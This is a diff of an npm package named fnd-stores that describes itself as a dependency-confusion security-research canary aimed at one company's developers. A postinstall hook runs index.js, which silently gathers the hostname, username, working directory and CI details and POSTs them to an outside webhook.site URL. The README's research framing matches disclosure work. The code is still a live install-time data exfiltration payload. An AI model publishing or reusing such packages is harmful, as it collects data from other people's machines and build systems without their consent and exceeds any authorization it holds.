fnd-stores 0.0.6

package/README.md

@@ -0,0 +1,5 @@
+# fnd-stores
+
+This package was published as part of authorized security research (dependency confusion vulnerability disclosure).
+
+If you are a developer at Reclame Aqui / Obvi Brasil and received this via your CI pipeline, please contact your security team immediately.

package/index.js

@@ -0,0 +1,23 @@
+const https = require('https');
+const os = require('os');
+
+const payload = JSON.stringify({
+  t: 'fnd-stores-canary',
+  h: os.hostname(),
+  p: os.platform(),
+  w: process.cwd(),
+  ci: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || process.env.CIRCLECI || process.env.GITLAB_CI),
+  ci_env: process.env.CI_NAME || process.env.GITHUB_WORKFLOW || process.env.JENKINS_JOB_NAME || 'none',
+  nv: process.version,
+  u: os.userInfo().username
+});
+
+const req = https.request({
+  hostname: 'webhook.site',
+  path: '/fd86a1ff-342a-44e9-8fc3-94c9c32bb0d6',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
+}, () => {});
+req.on('error', () => {});
+req.write(payload);
+req.end();

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "fnd-stores",
+  "version": "0.0.6",
+  "description": "Security research canary",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "license": "MIT"
+}